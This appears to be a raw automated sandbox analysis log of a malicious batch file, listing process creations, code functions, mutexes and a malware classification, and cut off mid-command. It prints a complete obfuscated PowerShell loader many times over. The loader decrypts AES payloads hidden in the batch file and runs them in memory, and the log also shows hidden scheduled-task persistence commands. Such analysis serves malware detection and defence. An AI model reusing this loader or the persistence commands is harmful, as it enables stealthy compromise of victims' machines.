        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Dispose(); $Tgngw.Dispose(); $Tgngw.ToArray();}function execute_function($param_var,$param2_var){ $RjrbO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tvMZN=$RjrbO.EntryPoint; $tvMZN.Invoke($null, $param2_var);}$dxXqn = 'C:\Users\user\Desktop\PollosAplicaccion.bat';$host.UI.RawUI.WindowTitle = $dxXqn;$qVyct=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($dxXqn).Split([Environment]::NewLine);foreach ($CWzJO in $qVyct) { if ($CWzJO.StartsWith(':: ')) { $xStIY=$CWzJO.Substring(3); break; }}$payloads_var=[string[]]$xStIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\startup_str_521.bat" "
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Dispose(); $Tgngw.Dispose(); $Tgngw.ToArray();}function execute_function($param_var,$param2_var){ $RjrbO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tvMZN=$RjrbO.EntryPoint; $tvMZN.Invoke($null, $param2_var);}$dxXqn = 'C:\Users\user\AppData\Roaming\startup_str_521.bat';$host.UI.RawUI.WindowTitle = $dxXqn;$qVyct=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($dxXqn).Split([Environment]::NewLine);foreach ($CWzJO in $qVyct) { if ($CWzJO.StartsWith(':: ')) { $xStIY=$CWzJO.Substring(3); break; }}$payloads_var=[string[]]$xStIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Dispose(); $Tgngw.Dispose(); $Tgngw.ToArray();}function execute_function($param_var,$param2_var){ $RjrbO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tvMZN=$RjrbO.EntryPoint; $tvMZN.Invoke($null, $param2_var);}$dxXqn = 'C:\Users\user\Desktop\PollosAplicaccion.bat';$host.UI.RawUI.WindowTitle = $dxXqn;$qVyct=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($dxXqn).Split([Environment]::NewLine);foreach ($CWzJO in $qVyct) { if ($CWzJO.StartsWith(':: ')) { $xStIY=$CWzJO.Substring(3); break; }}$payloads_var=[string[]]$xStIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));Jump to behavior
        Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\startup_str_521.bat" "Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Dispose(); $Tgngw.Dispose(); $Tgngw.ToArray();}function execute_function($param_var,$param2_var){ $RjrbO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tvMZN=$RjrbO.EntryPoint; $tvMZN.Invoke($null, $param2_var);}$dxXqn = 'C:\Users\user\AppData\Roaming\startup_str_521.bat';$host.UI.RawUI.WindowTitle = $dxXqn;$qVyct=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($dxXqn).Split([Environment]::NewLine);foreach ($CWzJO in $qVyct) { if ($CWzJO.StartsWith(':: ')) { $xStIY=$CWzJO.Substring(3); break; }}$payloads_var=[string[]]$xStIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_00007FFD3456B6565_2_00007FFD3456B656
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_00007FFD3456CF865_2_00007FFD3456CF86
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_00007FFD3456C4025_2_00007FFD3456C402
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_00007FFD3456D0675_2_00007FFD3456D067
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFD345475136_2_00007FFD34547513
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFD345416AA6_2_00007FFD345416AA
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFD345426736_2_00007FFD34542673
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFD345487856_2_00007FFD34548785
        Source: C:\Users\user\e45iasd.exeCode function: 23_2_00007FFD34556DF023_2_00007FFD34556DF0
        Source: C:\Users\user\e45iasd.exeCode function: 23_2_00007FFD3455F6D523_2_00007FFD3455F6D5
        Source: C:\Users\user\e45iasd.exeCode function: 23_2_00007FFD3455F91823_2_00007FFD3455F918
        Source: C:\Users\user\e45iasd.exeCode function: 23_2_00007FFD3455EA4023_2_00007FFD3455EA40
        Source: C:\Users\user\e45iasd.exeCode function: 23_2_00007FFD3456DA2023_2_00007FFD3456DA20
        Source: C:\Users\user\e45iasd.exeCode function: 23_2_00007FFD3455F29A23_2_00007FFD3455F29A
        Source: C:\Users\user\e45iasd.exeCode function: 23_2_00007FFD3457C32023_2_00007FFD3457C320
        Source: C:\Users\user\e45iasd.exeCode function: 23_2_00007FFD34564DC023_2_00007FFD34564DC0
        Source: C:\Users\user\e45iasd.exeCode function: 23_2_00007FFD3455C93B23_2_00007FFD3455C93B
        Source: C:\Users\user\e45iasd.exeCode function: 23_2_00007FFD3455CA3523_2_00007FFD3455CA35
        Source: C:\Users\user\e45iasd.exeCode function: 23_2_00007FFD3455CA9023_2_00007FFD3455CA90
        Source: C:\Users\user\e45iasd.exeCode function: 23_2_00007FFD3455638823_2_00007FFD34556388
        Source: C:\Users\user\e45iasd.exeCode function: 25_2_00007FFD34556D3025_2_00007FFD34556D30
        Source: C:\Users\user\e45iasd.exeCode function: 25_2_00007FFD3456064D25_2_00007FFD3456064D
        Source: C:\Users\user\e45iasd.exeCode function: 25_2_00007FFD3455F65825_2_00007FFD3455F658
        Source: C:\Users\user\e45iasd.exeCode function: 25_2_00007FFD3457970825_2_00007FFD34579708
        Source: C:\Users\user\e45iasd.exeCode function: 25_2_00007FFD3455801825_2_00007FFD34558018
        Source: C:\Users\user\e45iasd.exeCode function: 25_2_00007FFD3458699825_2_00007FFD34586998
        Source: C:\Users\user\e45iasd.exeCode function: 25_2_00007FFD3455415F25_2_00007FFD3455415F
        Source: C:\Users\user\e45iasd.exeCode function: 25_2_00007FFD3455E97025_2_00007FFD3455E970
        Source: C:\Users\user\e45iasd.exeCode function: 25_2_00007FFD3458CB1025_2_00007FFD3458CB10
        Source: C:\Users\user\e45iasd.exeCode function: 25_2_00007FFD34567BC725_2_00007FFD34567BC7
        Source: C:\Users\user\e45iasd.exeCode function: 25_2_00007FFD34564DC025_2_00007FFD34564DC0
        Source: C:\Users\user\e45iasd.exeCode function: 25_2_00007FFD3455EA9825_2_00007FFD3455EA98
        Source: 5.2.powershell.exe.20644ebced8.8.raw.unpack, SHcGZMGhEfBxxYHAVTwX.csCryptographic APIs: 'TransformFinalBlock'
        Source: 5.2.powershell.exe.20645494098.9.raw.unpack, SHcGZMGhEfBxxYHAVTwX.csCryptographic APIs: 'TransformFinalBlock'
        Source: 5.2.powershell.exe.20644f0cf10.10.raw.unpack, SHcGZMGhEfBxxYHAVTwX.csCryptographic APIs: 'TransformFinalBlock'
        Source: 5.2.powershell.exe.2064c4a0000.12.raw.unpack, SHcGZMGhEfBxxYHAVTwX.csCryptographic APIs: 'TransformFinalBlock'
        Source: 5.2.powershell.exe.20644f0cf10.10.raw.unpack, SHcGZMGhEfBxxYHAVTwX.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
        Source: 5.2.powershell.exe.20644f0cf10.10.raw.unpack, SHcGZMGhEfBxxYHAVTwX.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
        Source: 5.2.powershell.exe.20645494098.9.raw.unpack, SHcGZMGhEfBxxYHAVTwX.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
        Source: 5.2.powershell.exe.20645494098.9.raw.unpack, SHcGZMGhEfBxxYHAVTwX.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
        Source: 5.2.powershell.exe.20644ebced8.8.raw.unpack, SHcGZMGhEfBxxYHAVTwX.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
        Source: 5.2.powershell.exe.20644ebced8.8.raw.unpack, SHcGZMGhEfBxxYHAVTwX.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
        Source: 5.2.powershell.exe.2064c4a0000.12.raw.unpack, SHcGZMGhEfBxxYHAVTwX.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
        Source: 5.2.powershell.exe.2064c4a0000.12.raw.unpack, SHcGZMGhEfBxxYHAVTwX.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
        Source: classification engineClassification label: mal100.troj.expl.evad.winBAT@33/23@1/2
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\startup_str_521.vbsJump to behavior
        Source: C:\Users\user\e45iasd.exeMutant created: NULL
        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6252:120:WilError_03
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: \Sessions\1\BaseNamedObjects\waSjcr5aChdr3DPk
        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7104:120:WilError_03
        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3820:120:WilError_03
        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5224:120:WilError_03
        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3640:120:WilError_03
        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3568:120:WilError_03
        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5140:120:WilError_03
        Source: C:\Users\user\e45iasd.exeMutant created: \Sessions\1\BaseNamedObjects\PSReadLineHistoryFile_2116847995
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_he4zdr1j.ho1.ps1Jump to behavior
        Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\PollosAplicaccion.bat" "
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_521_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\startup_str_521.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
        Source: C:\Windows\System32\net.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
        Source: PollosAplicaccion.batReversingLabs: Detection: 21%
        Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\PollosAplicaccion.bat" "
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net file
        Source: C:\Windows\System32\net.exeProcess created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 file
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Dispose(); $Tgngw.Dispose(); $Tgngw.ToArray();}function execute_function($param_var,$param2_var){ $RjrbO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tvMZN=$RjrbO.EntryPoint; $tvMZN.Invoke($null, $param2_var);}$dxXqn = 'C:\Users\user\Desktop\PollosAplicaccion.bat';$host.UI.RawUI.WindowTitle = $dxXqn;$qVyct=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($dxXqn).Split([Environment]::NewLine);foreach ($CWzJO in $qVyct) { if ($CWzJO.StartsWith(':: ')) { $xStIY=$CWzJO.Substring(3); break; }}$payloads_var=[string[]]$xStIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_521_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\startup_str_521.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\startup_str_521.vbs"
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\startup_str_521.vbs"
        Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\startup_str_521.bat" "
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net file
        Source: C:\Windows\System32\net.exeProcess created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 file
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Dispose(); $Tgngw.Dispose(); $Tgngw.ToArray();}function execute_function($param_var,$param2_var){ $RjrbO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tvMZN=$RjrbO.EntryPoint; $tvMZN.Invoke($null, $param2_var);}$dxXqn = 'C:\Users\user\AppData\Roaming\startup_str_521.bat';$host.UI.RawUI.WindowTitle = $dxXqn;$qVyct=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($dxXqn).Split([Environment]::NewLine);foreach ($CWzJO in $qVyct) { if ($CWzJO.StartsWith(':: ')) { $xStIY=$CWzJO.Substring(3); break; }}$payloads_var=[string[]]$xStIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "e45iasd" /tr "C:\Users\user\e45iasd.exe"
        Source: C:\Windows\System32\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        Source: unknownProcess created: C:\Users\user\e45iasd.exe C:\Users\user\e45iasd.exe
        Source: C:\Users\user\e45iasd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        Source: unknownProcess created: C:\Users\user\e45iasd.exe "C:\Users\user\e45iasd.exe"
        Source: C:\Users\user\e45iasd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        Source: unknownProcess created: C:\Users\user\e45iasd.exe "C:\Users\user\e45iasd.exe"
        Source: C:\Users\user\e45iasd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net fileJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Dispose(); $Tgngw.Dispose(); $Tgngw.ToArray();}function execute_function($param_var,$param2_var){ $RjrbO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tvMZN=$RjrbO.EntryPoint; $tvMZN.Invoke($null, $param2_var);}$dxXqn = 'C:\Users\user\Desktop\PollosAplicaccion.bat';$host.UI.RawUI.WindowTitle = $dxXqn;$qVyct=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($dxXqn).Split([Environment]::NewLine);foreach ($CWzJO in $qVyct) { if ($CWzJO.StartsWith(':: ')) { $xStIY=$CWzJO.Substring(3); break; }}$payloads_var=[string[]]$xStIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));Jump to behavior
        Source: C:\Windows\System32\net.exeProcess created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 fileJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_521_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\startup_str_521.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -ForceJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\startup_str_521.vbs" Jump to behavior
        Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\startup_str_521.bat" "Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net fileJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); 